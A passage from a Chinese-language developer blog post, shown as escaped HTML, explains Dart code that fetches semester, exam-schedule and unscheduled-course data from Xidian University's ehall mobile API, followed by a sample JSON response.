class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003edeveloper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Seek for the semesters.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Jiaowu getExam\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esemester\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/examTask/termList\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;currentFlag\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;termCode\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003epreference\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egetString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epreference\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePreference\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecurrentSemester\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取到当前学期信息后,我们就可以搞考试信息了。这个接口和一站式的接口,最大的区别是没有老师的信息。我觉得这个不是大问题,因为每次考场都会写上老师的名字。而且我们考试前都去上课记老师名字吧233\n考试信息结构体如代码中 Subject 里面指出的那样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// If failed, it is more likely that no exam has arranged.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003edeveloper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;My exam arrangemet \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esemester\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Jiaowu getExam\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eexamData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/examTask/listStuExamPlan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;?termCode=\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esemester\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;code\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e200\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eGetExamFailedException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;msg\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubject:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;courseName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etype:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;期末考试\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;期末考试\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;期中考试\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;期中考试\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etime:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;timeNote\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eplace:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;classroomName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eseat:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;seatNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e最后获取没有考试安排的科目,只有课程名称和课程 id。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eToBeArranged\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoBeArrangedData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/examTask/listStuExamUnPlan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;?termCode=\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esemester\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;code\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e200\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eGetExamFailedException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;msg\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eToBeArranged\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eToBeArranged\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubject:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;courseName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eid:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;courseNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取数据之后,我们需要处理数据,先看接口返回的数据结构:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nt\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;batchId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;726db6ccda7f42f8b532a6b365e2a8ca\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2021-2022学年第一学期期末考试\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;courseNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;CS263004X\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;courseName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;数据结构\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;examStart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-03-17 00:00:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;timeStart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;13:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 